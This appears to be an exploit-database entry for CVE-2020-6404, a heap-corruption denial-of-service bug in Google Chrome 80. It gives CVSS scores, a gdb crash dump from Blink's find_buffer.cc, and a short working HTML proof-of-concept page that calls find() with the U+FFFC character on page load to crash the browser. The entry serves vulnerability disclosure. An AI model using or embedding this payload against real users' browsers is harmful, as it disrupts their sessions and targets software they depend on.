Google Chrome 80.0.3987.87 - Heap-Corruption Remote Denial of Service (PoC)

2020-03-2300:00:00

Cem Onat Karagun

112

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

4.6 Medium

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:P/I:P/A:P

JSON

Google Chrome 80.0.3987.87 - Heap-Corruption Remote Denial of Service (PoC)

# Exploit Title: Google Chrome 80.0.3987.87 - Heap-Corruption Remote Denial of Service (PoC)
# Google Dork: N/A
# Date: 2020-02-21
# Exploit Author: Cem Onat Karagun of Diesec GmBH
# Vendor Homepage: https://www.google.com/
# Version: Google Chrome 80.0.3987.87
# Tested on: Windows x64 / Linux Debian x64 / MacOS
# CVE: CVE-2020-6404
# PoC Video: http://www.youtube.com/watch?v=tv5sDDwiWg8
# Description: https://bugs.chromium.org/p/chromium/issues/detail?id=1024256

Thread 35 "Chrome_InProcRe" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7f2cbf9ad700 (LWP 3275)]
[----------------------------------registers-----------------------------------]
RAX: 0x7f2cbe98d100 --> 0x41b58ab3
RBX: 0x7f2cbf9aa9c0 --> 0xfe597d7178d --> 0x0
RCX: 0x1fffffffffffffff
RDX: 0x7f2cbeb8bdf4 --> 0x0
RSI: 0x7f2cbeb8bdc0 --> 0x613000000000 --> 0xcc6e96b9 --> 0x0
RDI: 0x0
RBP: 0x7f2cbf9aaa70 --> 0x7f2cbf9aabf0 --> 0x7f2cbf9aad10 -->
0x7f2cbf9aadd0 --> 0x7f2cbf9aaea0 --> 0x7f2cbf9aafb0 (--> ...)

RSP: 0x7f2cbf9aa9c0 --> 0xfe597d7178d --> 0x0
RIP: 0x559e50c11189 (<RangeFromBufferIndex()+377>: mov cl,BYTE PTR
[rcx+0x7fff8000])
R8 : 0xfffffffffffffff8
R9 : 0x0
R10: 0x7f2cbec6a670 --> 0x7f2cbec6a070 --> 0xd47000000000000 ('')
R11: 0x7f2cbe98d100 --> 0x41b58ab3
R12: 0xfe597d31a20 --> 0x0
R13: 0x7f2cbeb8bde8 --> 0x0
R14: 0x0
R15: 0x2
EFLAGS: 0x10a06 (carry PARITY adjust zero sign trap INTERRUPT direction
OVERFLOW)
[-------------------------------------code-------------------------------------]
0x559e50c1117e <RangeFromBufferIndex()+366>: lea r8,[rdi-0x8]
0x559e50c11182 <RangeFromBufferIndex()+370>: mov rcx,r8
0x559e50c11185 <RangeFromBufferIndex()+373>: shr rcx,0x3
=> 0x559e50c11189 <RangeFromBufferIndex()+377>: mov cl,BYTE PTR
[rcx+0x7fff8000]
0x559e50c1118f <RangeFromBufferIndex()+383>: test cl,cl
0x559e50c11191 <RangeFromBufferIndex()+385>:
jne 0x559e50c11418 <RangeFromBufferIndex()+1032>
0x559e50c11197 <RangeFromBufferIndex()+391>: add
rdi,0xffffffffffffffff
0x559e50c1119b <RangeFromBufferIndex()+395>: mov rcx,rdi
[------------------------------------stack-------------------------------------]
0000| 0x7f2cbf9aa9c0 --> 0xfe597d7178d --> 0x0
0008| 0x7f2cbf9aa9c8 --> 0xc0c001162e6 --> 0x0
0016| 0x7f2cbf9aa9d0 --> 0xfe597d717be --> 0x0
0024| 0x7f2cbf9aa9d8 --> 0xfe597d717bd --> 0x0
0032| 0x7f2cbf9aa9e0 --> 0x7f2cbeb8bdf4 --> 0x0
0040| 0x7f2cbf9aa9e8 --> 0x7f2cbeb8bea0 --> 0x6060008b1720 -->
0x602000098630 --> 0x200000003 --> 0x0

0048| 0x7f2cbf9aa9f0 --> 0x21bec4d308 --> 0x0
0056| 0x7f2cbf9aa9f8 --> 0xfe597cfab48 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000559e50c11189 in MappingForIndex ()
at
../../third_party/blink/renderer/core/editing/finder/find_buffer.cc:450
450
../../third_party/blink/renderer/core/editing/finder/find_buffer.cc: No
such file or directory.


<!DOCTYPE html>
<head>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function(){
find(decodeURIComponent('\uFFFC'));
});
</script>
</head>
<body>
<legend></legend>
</body>
</html>